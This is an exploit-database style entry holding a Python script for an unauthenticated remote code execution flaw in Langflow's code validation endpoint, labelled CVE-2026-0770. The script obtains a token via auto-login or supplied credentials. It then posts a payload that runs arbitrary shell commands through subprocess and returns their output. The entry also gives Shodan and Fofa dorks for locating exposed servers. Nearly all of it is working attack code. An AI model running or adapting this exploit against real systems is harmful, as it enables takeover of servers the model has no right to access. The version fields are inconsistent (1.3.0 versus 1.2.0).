Langflow 1.3.0 – Remote Code Execution
# Exploit Title: Langflow 1.3.0 - Remote Code Execution # Fofa-dork: title="Langflow" # Shodan-dork: title:"Langflow" # Date: 23-05-2026 # Exploit Author: Diamorphine # Venodor Homepage: https://www.langflow.org/ # Software Link: https://github.com/langflow-ai/langflow # Version: 1.2.0 # Tested on: Debian # CVE : CVE-2026-0770 # Description: Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication. # Usage: CVE-2026-0770.py -u 127.0.0.1 [-l USERNAME] [-p PASSWORD] [-c COMMAND] import httpx import asyncio import subprocess import json import sys import argparse def auth(host, username, password): with httpx.Client(verify=False) as client: data = { 'username': username, 'password': password } r = client.post(url=f'http://{host}:7860/api/v1/login', data=data) res = r.json() access_token = res["access_token"] return access_token async def exec_auth(host, username, password, cmd): async with httpx.AsyncClient(verify=False) as client: headers = { 'Authorization': f'Bearare {auth(host, username, password)}' } data = { "code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n )\n):\n pass\n" % cmd } r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data) r_out = r.text output = json.loads(r_out) value = output['function'] try: print(value['errors'][0]) except IndexError: print("Index out of range") async def exec_without_auth(host, cmd): async with httpx.AsyncClient(verify=False) as client: req = await client.get(url=f'http://{host}:7860/api/v1/auto_login') res = req.json() access_token = res["access_token"] headers = { 'Authorization': f'Bearare {access_token}' } data = { "code":"\ndef exploit(\n _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n )\n):\n pass\n" % cmd } r = await client.post(url=f'http://{host}:7860/api/v1/validate/code', headers=headers, json=data) r_out = r.text output = json.loads(r_out) value = output['function'] try: print(value['errors'][0]) except IndexError: print("Index out of range") parser = argparse.ArgumentParser(description="Exploit for CVE-2026-0770 – Unauthenticated RCE in Langflow") parser.add_argument('-u', '--host', required=True, help="Target host, e.g 127.0.0.1") parser.add_argument('-l', '--login', help="Username for login, e.g user (If auto login not enabled)") parser.add_argument('-p', '--password', help="Password for login, e.g password (If auto login not enabled)") parser.add_argument('-c', '--command', default='id', help="Command for execute, e.g id, default: id") args = parser.parse_args() if args.login and args.password: asyncio.run(exec_auth(args.host, args.login, args.password, args.command)) else: asyncio.run(exec_without_auth(args.host, args.command)) |